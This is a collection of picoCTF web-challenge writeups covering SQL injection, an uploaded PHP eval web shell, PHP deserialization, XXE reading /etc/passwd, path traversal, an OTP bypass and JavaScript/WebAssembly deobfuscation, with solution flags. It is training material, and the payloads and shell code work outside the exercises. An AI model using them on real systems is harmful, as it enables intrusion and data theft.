All-in-One PicoCTF Writeups: Web

Preface

In fact, there seems to be nothing to say about the preface, but I just don’t want to classify the topics at the beginning, so I still put a preface XD.

When I was brushing PicoCTF, I often found that almost all writeups were in English, so I wanted to write a more complete English version! In short, I will try my best to collect all the picoCTF questions here (but because I have already written about 60 questions before I start to write writeup, I may wait for the other parts to be completed before filling in the previous parts), if necessary You can just come here to see all the writeups, that’s it! Hope this helps.

unminify

Read the title first. After clicking it, he will say that if you open this webpage, it means that your browser has received the flag, but he does not know how to read it.

Title

Since he said that our browser has received the flag, let’s open F12 and take a look at the web page code! After clicking on the developer tools, use Ctrl+F to search for the picoCTF string directly in the Tab of Element, and you will find XD directly. Well, isn’t this question too watery?

Search flag using developer tools

picoCTF{pr3tty_c0d3_dbe259ce}

Includes

This topic is given to a website, which looks like this.

Website

There is only one thing, no information, only this click, say hello, there will be an alert. Just click on F12 and first check if there is any JS or other things, and you will find script.js. After clicking on it, you will find half a Flag.

function greetings() {
    alert("This code is in a separate file!");
}

//  f7w_2of2_b8f4b022}

Then continue to look and you will find that there is another style.css with the first half of the Flag.

body {
    background-color: lightblue;
}

/*  picoCTF{1nclu51v17y_1of2_  */

So you can spell out the entire Flag.

picoCTF{1nclu51v17y_1of2_f7w_2of2_b8f4b022}

picobrowser

In this question, after we click on the URL, we will see a FLAG button. If we press it, we will find that we cannot get FLAG.

Topic

He said we should use picobrowser, so I wrote a selenium Python script to run to see if I could get the flag.

from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from webdriver_manager.chrome import ChromeDriverManager
import time

my_user_agent = "picobrowser" # Change agent here to picobrowser
chrome_options = webdriver.ChromeOptions()
chrome_options.add_argument(f"--user-agent={my_user_agent}")
service = Service(executable_path=ChromeDriverManager().install())
driver = webdriver.Chrome(service=service, options=chrome_options)

url = "https://jupiter.challenges.picoctf.org/problem/28921/flag"

driver.get(url)
time.sleep(3345)

This way you get the flag!

picoCTF{p1c0_s3cr3t_ag3nt_84f9c865}

SQLiLite

The title is a login page.
Title

Let’s try to log in with admin, admin first.

Login as admin

It will say Login failed, but we can see that its SQL query is

SELECT * FROM users WHERE name='admin' AND password='admin'

So we can use SQL Injection easily! Here you can use the account number ' OR 1=1-- to log in. You don’t need to enter the password, or you can enter Random.

Logged in

But he said that the flag is in plainsight, so we can’t see it, so open the developer tools and use Ctrl+F to search!

flag

picoCTF{L00k5_l1k3_y0u_solv3d_it_d3c660ac}

More SQLi

After launching the question, you will enter a login page, as shown below.

Title

Then we first try to log in using admin as the account password. Enter admin for both the account and password and press login. The web page will render a query statement for the account and password we just entered, as well as the user information in the background, as follows.

The picture is a bit small, but the content of his show is as follows:

username: admin
password: admin
SQL query: SELECT id FROM users WHERE password = 'admin' AND username = 'admin'

So here we use the password 'OR 1=1 -- this string of payload as input (the account number can be entered as Random), and the entire SQL query will become like this:

SELECT id FROM users WHERE password = ''OR 1=1 --' AND username = 'admin'

You can see from the highlighted color of the above code that everything after 1=1 has been annotated, so you can log in to the system directly! After logging in, you will see the following interface:

He can query the name of City, but in fact a piece of data contains City, Address, and Phone. Analyze the possible SQL statements in the background, which should be as follows:

SELECT city, address, phone FROM {TABLE_NAME} WHERE city = '';

Furthermore, because the question tells us that the system uses SQLite, there will be a table called sqlite_master to store various information of some tables. (Source)

Knowing this, we enter ' UNION SELECT name, sql, 3345 FROM sqlite_master; -- to make the entire SQL statement become as follows

SELECT city, address, phone FROM {TABLE_NAME} WHERE city = '' UNION SELECT name, sql, 3345 FROM sqlite_master; --';

Here we use join to merge the two query results. Because the first result is an empty set, the returned result will be the table content of sqlite_master, as follows:

Find the table where the flag is located

We can see that the place surrounded by the red frame is the flag we want to get. Now that we know the name of the table and the structure of the table, let’s query it! Use this payload ' UNION SELECT 1, flag, 1 FROM more_table; --. After entering, you can see the following interface!

flag

Flag is found!

picoCTF{G3tting_5QL_1nJ3c7I0N_l1k3_y0u_sh0ulD_78d0583a}

Trickster

The title of this question is a webpage that can upload png. It seems to be a file upload vulnerability. The page is as follows:

Title

Adhering to the spirit of scanning the path first when you don’t know what to do, you can find its robots.txt, which prohibits two paths, as follows:

User-agent: *
Disallow: /instructions.txt
Disallow: /uploads/

Now that it’s banned, let’s go check it out XD. /uploads/ should be the file path after uploading, and the content of instructions.txt is as follows:

Let's create a web app for PNG Images processing.
It needs to:
Allow users to upload PNG images
	look for ".png" extension in the submitted files
	make sure the magic bytes match (not sure what this is exactly but wikipedia says that the first few bytes contain 'PNG' in hexadecimal: "50 4E 47" )
after validation, store the uploaded files so that the admin can retrieve them later and do the necessary processing.

So we know that there are two ways for the backend to verify whether the file is png. One is to check whether the file suffix is ​​.png; the other is to verify the magic bytes of the file, looking at the first few hexadecimal characters of the file. Whether the bytes are 50 4E 47.

After knowing this information, let’s randomly find a png picture and upload it! (I took a random screenshot here and named it hack.png). And use Burp suite to intercept the packet during the upload process, and modify the file name and file content in it. Here, change the file name to hack.png.php, and add this [php one sentence Trojan] (https://xz.aliyun.com/t/6957?time__1311=n4+xnD0DRDyD9iDuDRhxBqOoQRQ40xAK5q5vKx&alichlgref under the PNG of the file content =https://www.google.com/)

<?php @eval($_POST['shell']);?>

The entire modification is as follows (it may be clearer if you click it):

One sentence Trojan

After the upload is completed, the shell will now be located at the location a.

Next, use the China Ant Sword tool to connect to the web shell. The connection process is as follows:

Enter connection information

After the connection is completed, you can directly look at the website files. The following .txt should be the flag.

Looks like a flag file

flag is out

So we successfully found flag! as follows:

picoCTF{c3rt!fi3d_Xp3rt_tr1ckst3r_d3ac625b}

Here is an additional knowledge point. Let’s talk about what <?php @eval($_POST['shell']);?> is doing. But since I’m not very familiar with php, let’s see what the ChatGPT master said!

Of course, the principle of this PHP code is to allow remote execution of PHP code on the server. How this works:

  1. <?php is the start tag of PHP code.
  2. The eval() function in @eval($_POST['shell']); executes the string passed to it as PHP code. The code here comes from a variable named shell in the HTTP POST request.
  3. The @ symbol is used to suppress any error messages so that the user will not see any errors generated during execution.
  4. Since this code executes arbitrary PHP code, it makes the server vulnerable and is therefore a very dangerous practice.

In other words, any code passed through the shell variable will be executed by the server, which can be used for various purposes, including but not limited to data reading, file operations, etc.

Then I later found another writeup. Its payload is quite cool. It is an input box that can be executed instantly. If you are interested, you can take a look at [this article](https://medium.com/@niceselol/picoctf-2024- trickster-af90f7476e18).

Super Serial

This question first reads /robots.txt and finds that it has a prohibited path of /admin.phps, which seems to mean that it supports .phps files. So you can go to /index.phps to see its source code. (phps is PHP source)

index.phps

The question says that Flag is in ../flag, so the idea of ​​solving the problem is to find a way to read ../flag. First take out the program code on the picture and analyze it.

<?php
require_once "cookie.php";  # Cookie.php is used here

if (isset($_POST["user"]) && isset($_POST["pass"])) {
    $con = new SQLite3("../users.db");
    $username = $_POST["user"];
    $password = $_POST["pass"];
    $perm_res = new permissions($username, $password);
    if ($perm_res->is_guest() || $perm_res->is_admin()) {
        setcookie("login", urlencode(base64_encode(serialize($perm_res))), time() + 86400 * 30, "/");
        header("Location: authentication.php");  # Redirect here to authentication.php
        die();
    } else {
        $msg = '<h6 class="text-center" style="color:red">Invalid Login.</h6>';
    }
}
?>

Since the original code can be viewed through .phps, check cookie.phps and authentication.phps first.

authentication.php is as follows:

<?php

class access_log
{
	public $log_file;

	function __construct($lf) {
		$this->log_file = $lf;
	}

	function __toString() {
		return $this->read_log();
	}

	function append_to_log($data) {
		file_put_contents($this->log_file, $data, FILE_APPEND);
	}

	function read_log() {
		return file_get_contents($this->log_file);
	}
}

require_once("cookie.php");
if(isset($perm) && $perm->is_admin()){
	$msg = "Welcome admin";
	$log = new access_log("access.log");
	$log->append_to_log("Logged in at ".date("Y-m-d")."\n");
} else {
	$msg = "Welcome guest";
}
?>

cookie.php 如下:

<?php
session_start();

class permissions
{
	public $username;
	public $password;

	function __construct($u, $p) {
		$this->username = $u;
		$this->password = $p;
	}

	function __toString() {
		return $u.$p;
	}

	function is_guest() {
		$guest = false;

		$con = new SQLite3("../users.db");
		$username = $this->username;
		$password = $this->password;
		$stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
		$stm->bindValue(1, $username, SQLITE3_TEXT);
		$stm->bindValue(2, $password, SQLITE3_TEXT);
		$res = $stm->execute();
		$rest = $res->fetchArray();
		if($rest["username"]) {
			if ($rest["admin"] != 1) {
				$guest = true;
			}
		}
		return $guest;
	}

        function is_admin() {
                $admin = false;

                $con = new SQLite3("../users.db");
                $username = $this->username;
                $password = $this->password;
                $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
                $stm->bindValue(1, $username, SQLITE3_TEXT);
                $stm->bindValue(2, $password, SQLITE3_TEXT);
                $res = $stm->execute();
                $rest = $res->fetchArray();
                if($rest["username"]) {
                        if ($rest["admin"] == 1) {
                                $admin = true;
                        }
                }
                return $admin;
        }
}

if(isset($_COOKIE["login"])){
	try{
		$perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
		$g = $perm->is_guest();
		$a = $perm->is_admin();
	}
	catch(Error $e){
		die("Deserialization error. ".$perm);
	}
}

?>

The following vulnerabilities can be found in cookie.php:

if (isset($_COOKIE["login"])) {
    try {
        $perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
        $g = $perm->is_guest();
        $a = $perm->is_admin();
    } catch (Error $e) {
        die("Deserialization error. " . $perm);
    }
}

The deserialization here is unsafe (the title of the question also has Tips related to Serial). If the deserialization fails and enters the catch error, $perm will be output. In the access_log class in authentication.php, he defines __toString() to read and return the contents of log_file.

So we only need to create a login cookie and enter an incorrect value to trigger a deserialization error. In the picture below, I set the value of login to TEST, which successfully triggered the deserialization error message.

Deserialization error

Then we use PHP Sandbox to write some PHP code online. It is written like this because we can see from cookie.phps that the original code is URL decoded first, then Base64 decoded, and finally deserialized. So the whole process is just the other way around.

<?php
print(urlencode(base64_encode(serialize("TEST"))))
?>

He outputs czo0OiJURVNUIjs=. Let’s change the cookie value to this and see if we can output TEST correctly.

PoC

success! Next, we only need to create a new access_log class and set its $log_file to "../flag" and that’s it! The exploit is as follows.

<?php

class access_log
{
    public $log_file = "../flag";
}

$payload = new access_log();

print urlencode(base64_encode(serialize($payload)));
?>

After executing the above code, you will get

TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9

This is our final Payload. Paste it to the value of the cookie of login and try it again by rearranging the page of authentication.php.

Pwned!

picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_405f4c0e}

Java Code Analysis!?!

This question is a little bigger and is an e-book system. At the beginning, he gave a login interface and a set of accounts and passwords: account user, password user. In addition, source code is also provided. Let’s first take a look at what the web page looks like.

Login

After logging in, you will see More’s functions, including reading Books, querying books, viewing accounts, etc. The interface after login is as follows.

Home page

The question tells us that the Winning condition of this question is to read the book of Flag, so that Flag can be obtained. But as you can see in the picture above, we are now a Free user, and the Flag book can only be read by Admin, so we need to find a way to increase the permissions.。

// TODO

IntroToBurp

This question requires using BurpSuite to intercept packets. First, turn on Burp’s interception.

Open interception

Then open Browser and connect to the URL given in the question. I found it was a registration page, so I tried filling in some random stuff first. After filling in, press Register and you will find that Burp has intercepted our packet. There is no need to modify the packet here, just press Forward to send it. Then it will jump to an OTP verification page, and you can also enter something randomly first.

2FA Auth

Then go to Burp to modify the OTP data and delete the entire line directly.

BurpSuite

After deleting it, just forward the packet and send it there! If you just leave it blank and press Submit, an OTP Data will still be sent, so you need to use Burp to delete it directly. Just like the tips given in the question.

Try mangling the request, maybe their server-side code doesn’t handle malformed requests very well.

picoCTF{#0TP_Bypvss_SuCc3$S_e1eb16ed}

Forbidden Paths

The topic is introduced as follows:

Can you get the flag? We know that the website files live in /usr/share/nginx/html/ and the flag is at /flag.txt but the website is filtering absolute file paths. Can you get past the filter to read the flag?

Additional details will be available after launching your challenge instance.

Click on the website given in the question to see what it looks like.

Title

After testing the above txt files, we found that it is a program that can read the files. Since the question tells us the path of the website project, we only need to push back to the root directory. Because /usr/share/nginx/html/ has four levels, just go back to the directory before the fourth level and read flag.txt. The final payload is as follows.

../../../../flag.txt

Flag ran out! as follows.

picoCTF{7h3_p47h_70_5ucc355_e5a6fcbc}

It is my Birthday

Title description

I sent out 2 invitations to all of my friends for my birthday! I’ll know if they get stolen because the two invites look similar, and they even have the same md5 hash, but they are slightly different! You wouldn’t believe how long it took me to find a collision. Anyway, see if you’re invited by submitting 2 PDFs to my website.

After reading the description, you can find that you should upload two PDF files with the same MD5 Hash value. Here we can directly use md5-1.pdf and md5-2 in this Github Repo. pdf. Just download these two files and upload them to the website of the question.

picoCTF{c0ngr4ts_u_r_1nv1t3d_aebcbf39}

Irish-Name-Repo 1

Title description

There is a website running at a (link) or http://jupiter.challenges.picoctf.org:39720. Do you think you can log us in? Try to see if you can login!

So just log in. First go to the Login page and find that one of the parameters he passed to login.php is debug=0, as follows.

debug=0

So use BurpSuite to open the web page and modify the parameters. Change debug=0 to debug=1, and then you will find the debug message returned after the Forward request.

Debug Mode

Now that you know its SQL statement, you can directly use SQLi. Payload is ' OR 1=1--, and Flag is obtained successfully.

picoCTF{s0m3_SQL_c218b685}

SOAP

According to the tips given in the question, this question is an XXE vulnerability. I don’t know much about XXE, so I referred to this Article, which has a more detailed introduction about XXE. As for this question, first use BurpSuite to open it to intercept the packets transmitted during the process.

After opening the website, I found that clicking these three buttons will trigger a request.

Title

We first Random click on a packet to let Burp capture its packet, and we further modify the XML Payload. The packet content looks like this.

Packet content

Because the question says to read the path /etc/passwd, we modify the packet into the following.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [

<!ENTITY ext SYSTEM "file:///etc/passwd">
]>
<data>
	<ID>&ext;</ID>
</data>

After forwarding the request, you will see the following content returned on the web page.

Pwned

I successfully found Flag.

picoCTF{XML_3xtern@l_3nt1t1ty_0dcf926e}

SQL Direct

To connect to the PostgreSQL Data library for this question, first open Kali. After opening, enter the following command to connect to the Data library, and the password is postgres.

psql -h saturn.picoctf.net -p 51152 -U postgres pico
  • -h stands for Host
  • -p stands for Port
  • -U stands for Username
  • pico represents the Data library name

After connecting, you can enter \d to view Tables.

pico=# \d
         List of relations
 Schema | Name  | Type  |  Owner
--------+-------+-------+----------
 public | flags | table | postgres
(1 row)

You can see that there is a table called flags. Here, use the following command to query the data directly.

SELECT * FROM flags;

Sure enough, I saw Flag.

picoCTF{L3arN_S0m3_5qL_t0d4Y_73b0678f}

Cookies

After opening the webpage given in the question, press F12 and go to Application to view Cookies. You see a cookie called name with a value of -1. Change its value to 0. Try it and find that the page has changed. Show I love snickerdoodle cookies!. Then keep increasing this value until it reaches 18, and you will find Flag.

picoCTF{3v3ry1_l0v3s_c00k135_cc9110ba}

More Cookies

TODO

Client-side-again

In this question, you can see a long and messy javascript after F12, which has been obfuscation. First format it to make it look more comfortable.

var _0x5a46 = [
    "f49bf}",
    "_again_e",
    "this",
    "Password\x20Verified",
    "Incorrect\x20password",
    "getElementById",
    "value",
    "substring",
    "picoCTF{",
    "not_this",
];
(function (_0x4bd822, _0x2bd6f7) {
    var _0xb4bdb3 = function (_0x1d68f6) {
        while (--_0x1d68f6) {
            _0x4bd822["push"](_0x4bd822["shift"]());
        }
    };
    _0xb4bdb3(++_0x2bd6f7);
})(_0x5a46, 0x1b3);
var _0x4b5b = function (_0x2d8f05, _0x4b81bb) {
    _0x2d8f05 = _0x2d8f05 - 0x0;
    var _0x4d74cb = _0x5a46[_0x2d8f05];
    return _0x4d74cb;
};
function verify() {
    checkpass = document[_0x4b5b("0x0")]("pass")[_0x4b5b("0x1")];
    split = 0x4;
    if (checkpass[_0x4b5b("0x2")](0x0, split * 0x2) == _0x4b5b("0x3")) {
        if (checkpass[_0x4b5b("0x2")](0x7, 0x9) == "{n") {
            if (
                checkpass[_0x4b5b("0x2")](split * 0x2, split * 0x2 * 0x2) ==
                _0x4b5b("0x4")
            ) {
                if (checkpass[_0x4b5b("0x2")](0x3, 0x6) == "oCT") {
                    if (
                        checkpass[_0x4b5b("0x2")](
                            split * 0x3 * 0x2,
                            split * 0x4 * 0x2
                        ) == _0x4b5b("0x5")
                    ) {
                        if (checkpass["substring"](0x6, 0xb) == "F{not") {
                            if (
                                checkpass[_0x4b5b("0x2")](
                                    split * 0x2 * 0x2,
                                    split * 0x3 * 0x2
                                ) == _0x4b5b("0x6")
                            ) {
                                if (
                                    checkpass[_0x4b5b("0x2")](0xc, 0x10) ==
                                    _0x4b5b("0x7")
                                ) {
                                    alert(_0x4b5b("0x8"));
                                }
                            }
                        }
                    }
                }
            }
        }
    } else {
        alert(_0x4b5b("0x9"));
    }
}

The most important information lies in the verify() function, because it is responsible for checking the login password. So how do we make something like _0x4b5b("0x0")? First, let’s paste all the above code into the Console of web page F12.

Paste on Console

Then enter the variables one by one and you can restore it! as follows.

Deobfuscate

The restored code is as follows.

var strlist = [
    "f49bf}",
    "_again_e",
    "this",
    "Password\x20Verified",
    "Incorrect\x20password",
    "getElementById",
    "value",
    "substring",
    "picoCTF{",
    "not_this",
];
(function (_0x4bd822, _0x2bd6f7) {
    var _0xb4bdb3 = function (_0x1d68f6) {
        while (--_0x1d68f6) {
            _0x4bd822["push"](_0x4bd822["shift"]());
        }
    };
    _0xb4bdb3(++_0x2bd6f7);
})(strlist, 0x1b3);
var _0x4b5b = function (_0x2d8f05, _0x4b81bb) {
    _0x2d8f05 = _0x2d8f05 - 0x0;
    var _0x4d74cb = strlist[_0x2d8f05];
    return _0x4d74cb;
};
function verify() {
    checkpass = document["getElementById"]("pass")["value"];
    split = 0x4;
    if (checkpass["substring"](0x0, split * 0x2) == "picoCTF{") {
        if (checkpass["substring"](0x7, 0x9) == "{n") {
            if (
                checkpass["substring"](split * 0x2, split * 0x2 * 0x2) ==
                "not_this"
            ) {
                if (checkpass["substring"](0x3, 0x6) == "oCT") {
                    if (
                        checkpass["substring"](
                            split * 0x3 * 0x2,
                            split * 0x4 * 0x2
                        ) == "f49bf}"
                    ) {
                        if (checkpass["substring"](0x6, 0xb) == "F{not") {
                            if (
                                checkpass["substring"](
                                    split * 0x2 * 0x2,
                                    split * 0x3 * 0x2
                                ) == "_again_e"
                            ) {
                                if (
                                    checkpass["substring"](0xc, 0x10) ==
                                    "_again_e"
                                ) {
                                    alert("Password Verified");
                                }
                            }
                        }
                    }
                }
            }
        }
    } else {
        alert("Incorrect password");
    }
}

This way you can find Flag.

picoCTF{not_this_again_ef49bf}

Some Assembly Required 1

Open Devtools and see a G82XCw5CX3.js in Sources. Open it first and take a look.。

const _0x402c = [
    "value",
    "2wfTpTR",
    "instantiate",
    "275341bEPcme",
    "innerHTML",
    "1195047NznhZg",
    "1qfevql",
    "input",
    "1699808QuoWhA",
    "Correct!",
    "check_flag",
    "Incorrect!",
    "./JIFxzHyW8W",
    "23SMpAuA",
    "802698XOMSrr",
    "charCodeAt",
    "474547vVoGDO",
    "getElementById",
    "instance",
    "copy_char",
    "43591XxcWUl",
    "504454llVtzW",
    "arrayBuffer",
    "2NIQmVj",
    "result",
];
const _0x4e0e = function (_0x553839, _0x53c021) {
    _0x553839 = _0x553839 - 0x1d6;
    let _0x402c6f = _0x402c[_0x553839];
    return _0x402c6f;
};
(function (_0x76dd13, _0x3dfcae) {
    const _0x371ac6 = _0x4e0e;
    while (!![]) {
        try {
            const _0x478583 =
                -parseInt(_0x371ac6(0x1eb)) +
                parseInt(_0x371ac6(0x1ed)) +
                -parseInt(_0x371ac6(0x1db)) * -parseInt(_0x371ac6(0x1d9)) +
                -parseInt(_0x371ac6(0x1e2)) * -parseInt(_0x371ac6(0x1e3)) +
                -parseInt(_0x371ac6(0x1de)) * parseInt(_0x371ac6(0x1e0)) +
                parseInt(_0x371ac6(0x1d8)) * parseInt(_0x371ac6(0x1ea)) +
                -parseInt(_0x371ac6(0x1e5));
            if (_0x478583 === _0x3dfcae) break;
            else _0x76dd13["push"](_0x76dd13["shift"]());
        } catch (_0x41d31a) {
            _0x76dd13["push"](_0x76dd13["shift"]());
        }
    }
})(_0x402c, 0x994c3);
let exports;
(async () => {
    const _0x48c3be = _0x4e0e;
    let _0x5f0229 = await fetch(_0x48c3be(0x1e9)),
        _0x1d99e9 = await WebAssembly[_0x48c3be(0x1df)](
            await _0x5f0229[_0x48c3be(0x1da)]()
        ),
        _0x1f8628 = _0x1d99e9[_0x48c3be(0x1d6)];
    exports = _0x1f8628["exports"];
})();
function onButtonPress() {
    const _0xa80748 = _0x4e0e;
    let _0x3761f8 = document["getElementById"](_0xa80748(0x1e4))[
        _0xa80748(0x1dd)
    ];
    for (let _0x16c626 = 0x0; _0x16c626 < _0x3761f8["length"]; _0x16c626++) {
        exports[_0xa80748(0x1d7)](
            _0x3761f8[_0xa80748(0x1ec)](_0x16c626),
            _0x16c626
        );
    }
    exports["copy_char"](0x0, _0x3761f8["length"]),
        exports[_0xa80748(0x1e7)]() == 0x1
            ? (document[_0xa80748(0x1ee)](_0xa80748(0x1dc))[_0xa80748(0x1e1)] =
                  _0xa80748(0x1e6))
            : (document[_0xa80748(0x1ee)](_0xa80748(0x1dc))[_0xa80748(0x1e1)] =
                  _0xa80748(0x1e8));
}

It seems to be obfuscation (Obfuscation) JS code. First try to reverse it. It is said to be reverse, but in fact it is just a simple variable renaming & hexadecimal to decimal conversion XD. The renamed code looks like below.

const strArr = [
    "value",
    "2wfTpTR",
    "instantiate",
    "275341bEPcme",
    "innerHTML",
    "1195047NznhZg",
    "1qfevql",
    "input",
    "1699808QuoWhA",
    "Correct!",
    "check_flag",
    "Incorrect!",
    "./JIFxzHyW8W",
    "23SMpAuA",
    "802698XOMSrr",
    "charCodeAt",
    "474547vVoGDO",
    "getElementById",
    "instance",
    "copy_char",
    "43591XxcWUl",
    "504454llVtzW",
    "arrayBuffer",
    "2NIQmVj",
    "result",
];
const getStr = function (idx, arg2) {
    idx = idx - 470;
    let tempStr = strArr[idx];
    return tempStr;
};

// This IIFE (Immediately Invoked Function Expression) will shuffle the strArr
(function (arg1, arg2) {
    const func2 = getStr;
    //This is True
    while (!![]) {
        try {
            const tempConst =
                -parseInt(func2(491)) +
                parseInt(func2(493)) +
                -parseInt(func2(475)) * -parseInt(func2(473)) +
                -parseInt(func2(482)) * -parseInt(func2(483)) +
                -parseInt(func2(478)) * parseInt(func2(480)) +
                parseInt(func2(472)) * parseInt(func2(490)) +
                -parseInt(func2(485));
            if (tempConst === arg2) break;
            else arg1["push"](arg1["shift"]());
        } catch (error) {
            arg1["push"](arg1["shift"]());
        }
    }
})(strArr, 627907);
let exports;
(async () => {
    const func3 = getStr;
    let var1 = await fetch(func3(489)),
        var2 = await WebAssembly[func3(479)](await var1[func3(474)]()),
        var3 = var2[func3(470)];
    exports = var3["exports"];
})();
function onButtonPress() {
    const func4 = getStr;
    let var1 = document["getElementById"](func4(484))[func4(477)];
    for (let i = 0; i < var1["length"]; i++) {
        exports[func4(471)](var1[func4(492)](i), i);
    }
    exports["copy_char"](0, var1["length"]),
        exports[func4(487)]() == 1
            ? (document[func4(494)](func4(476))[func4(481)] = func4(486))
            : (document[func4(494)](func4(476))[func4(481)] = func4(488));
}

At line 34, we find that this self-executing anonymous function will disrupt the initial strArr array, so in order to figure out what each index corresponds to, we can use the browser’s Devtools to help. Because in the initial code, the function to find one of the elements from strArr is called _0x4e0e, so you can first give it an alias named getStr and enter it in the Console of Devtools as follows. Then you can bring in each index and find the corresponding string.

>>> const getStr = _0x4e0e;
undefined
>>> getStr(489)
'./JIFxzHyW8W'
>>> getStr(479)
'instantiate'

Then we will go back one by one and see how the code will change. The following is the code after I have completed all the correspondences.

(async () => {
    const func3 = getStr;
    let var1 = await fetch("./JIFxzHyW8W"),
        var2 = await WebAssembly["instantiate"](await var1["arrayBuffer"]()),
        var3 = var2["instance"];
    exports = var3["exports"];
})();
function onButtonPress() {
    const func4 = getStr;
    let var1 = document["getElementById"]("input")["value"];
    for (let i = 0; i < var1["length"]; i++) {
        exports["copy_char"](var1["charCodeAt"](i), i);
    }
    exports["copy_char"](0, var1["length"]),
        exports["check_flag"]() == 1
            ? (document["getElementById"]("result")["innerHTML"] = "Correct!")
            : (document["getElementById"]("result")["innerHTML"] =
                  "Incorrect!");
}

In this way, we can probably understand that this code will pass the information entered by the user to the WebAssembly script through copy_char, and then call chech_flag to compare whether the Flag is correct. Let’s take a look at line 3 first. His WebAssembly script. The tool that will be used here is wasm2wat in this. The author’s own description is as follows:

wasm2wat: the inverse of wat2wasm, translate from the binary format back to the text format (also known as a .wat)

After installing it according to the official installation instructions, just use the following command. (Remember to use wget to grab the file from http://mercury.picoctf.net:40226/JIFxzHyW8W first)

~/Tools/wabt/build/wasm2wat JIFxzHyW8W
(module
  (type (;0;) (func))
  (type (;1;) (func (param i32 i32) (result i32)))
  (type (;2;) (func (result i32)))
  (type (;3;) (func (param i32 i32)))
  (func (;0;) (type 0))
  (func (;1;) (type 1) (param i32 i32) (result i32)
    (local i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32)
    global.get 0
    local.set 2
    i32.const 32
    local.set 3
    local.get 2
    local.get 3
    i32.sub
    local.set 4
    local.get 4
    local.get 0
    i32.store offset=24
    local.get 4
    local.get 1
    i32.store offset=20
    local.get 4
    i32.load offset=24
    local.set 5
    local.get 4
    local.get 5
    i32.store offset=16
    local.get 4
    i32.load offset=20
    local.set 6
    local.get 4
    local.get 6
    i32.store offset=12
    block  ;; label = @1
      loop  ;; label = @2
        local.get 4
        i32.load offset=16
        local.set 7
        i32.const 1
        local.set 8
        local.get 7
        local.get 8
        i32.add
        local.set 9
        local.get 4
        local.get 9
        i32.store offset=16
        local.get 7
        i32.load8_u
        local.set 10
        local.get 4
        local.get 10
        i32.store8 offset=11
        local.get 4
        i32.load offset=12
        local.set 11
        i32.const 1
        local.set 12
        local.get 11
        local.get 12
        i32.add
        local.set 13
        local.get 4
        local.get 13
        i32.store offset=12
        local.get 11
        i32.load8_u
        local.set 14
        local.get 4
        local.get 14
        i32.store8 offset=10
        local.get 4
        i32.load8_u offset=11
        local.set 15
        i32.const 255
        local.set 16
        local.get 15
        local.get 16
        i32.and
        local.set 17
        block  ;; label = @3
          local.get 17
          br_if 0 (;@3;)
          local.get 4
          i32.load8_u offset=11
          local.set 18
          i32.const 255
          local.set 19
          local.get 18
          local.get 19
          i32.and
          local.set 20
          local.get 4
          i32.load8_u offset=10
          local.set 21
          i32.const 255
          local.set 22
          local.get 21
          local.get 22
          i32.and
          local.set 23
          local.get 20
          local.get 23
          i32.sub
          local.set 24
          local.get 4
          local.get 24
          i32.store offset=28
          br 2 (;@1;)
        end
        local.get 4
        i32.load8_u offset=11
        local.set 25
        i32.const 255
        local.set 26
        local.get 25
        local.get 26
        i32.and
        local.set 27
        local.get 4
        i32.load8_u offset=10
        local.set 28
        i32.const 255
        local.set 29
        local.get 28
        local.get 29
        i32.and
        local.set 30
        local.get 27
        local.set 31
        local.get 30
        local.set 32
        local.get 31
        local.get 32
        i32.eq
        local.set 33
        i32.const 1
        local.set 34
        local.get 33
        local.get 34
        i32.and
        local.set 35
        local.get 35
        br_if 0 (;@2;)
      end
      local.get 4
      i32.load8_u offset=11
      local.set 36
      i32.const 255
      local.set 37
      local.get 36
      local.get 37
      i32.and
      local.set 38
      local.get 4
      i32.load8_u offset=10
      local.set 39
      i32.const 255
      local.set 40
      local.get 39
      local.get 40
      i32.and
      local.set 41
      local.get 38
      local.get 41
      i32.sub
      local.set 42
      local.get 4
      local.get 42
      i32.store offset=28
    end
    local.get 4
    i32.load offset=28
    local.set 43
    local.get 43
    return)
  (func (;2;) (type 2) (result i32)
    (local i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32)
    i32.const 0
    local.set 0
    i32.const 1072
    local.set 1
    i32.const 1024
    local.set 2
    local.get 2
    local.get 1
    call 1
    local.set 3
    local.get 3
    local.set 4
    local.get 0
    local.set 5
    local.get 4
    local.get 5
    i32.ne
    local.set 6
    i32.const -1
    local.set 7
    local.get 6
    local.get 7
    i32.xor
    local.set 8
    i32.const 1
    local.set 9
    local.get 8
    local.get 9
    i32.and
    local.set 10
    local.get 10
    return)
  (func (;3;) (type 3) (param i32 i32)
    (local i32 i32 i32 i32 i32)
    global.get 0
    local.set 2
    i32.const 16
    local.set 3
    local.get 2
    local.get 3
    i32.sub
    local.set 4
    local.get 4
    local.get 0
    i32.store offset=12
    local.get 4
    local.get 1
    i32.store offset=8
    local.get 4
    i32.load offset=12
    local.set 5
    local.get 4
    i32.load offset=8
    local.set 6
    local.get 6
    local.get 5
    i32.store8 offset=1072
    return)
  (table (;0;) 1 1 funcref)
  (memory (;0;) 2)
  (global (;0;) (mut i32) (i32.const 66864))
  (global (;1;) i32 (i32.const 1072))
  (global (;2;) i32 (i32.const 1024))
  (global (;3;) i32 (i32.const 1328))
  (global (;4;) i32 (i32.const 1024))
  (global (;5;) i32 (i32.const 66864))
  (global (;6;) i32 (i32.const 0))
  (global (;7;) i32 (i32.const 1))
  (export "memory" (memory 0))
  (export "__wasm_call_ctors" (func 0))
  (export "strcmp" (func 1))
  (export "check_flag" (func 2))
  (export "input" (global 1))
  (export "copy_char" (func 3))
  (export "__dso_handle" (global 2))
  (export "__data_end" (global 3))
  (export "__global_base" (global 4))
  (export "__heap_base" (global 5))
  (export "__memory_base" (global 6))
  (export "__table_base" (global 7))
  (data (;0;) (i32.const 1024) "picoCTF{cb688c00b5a2ede7eaedcae883735759}\00\00"))

You can see the Flag after the last flight. We will not continue to go back in reverse here. If you want to continue, you can still use other tools in this tool to complete it.

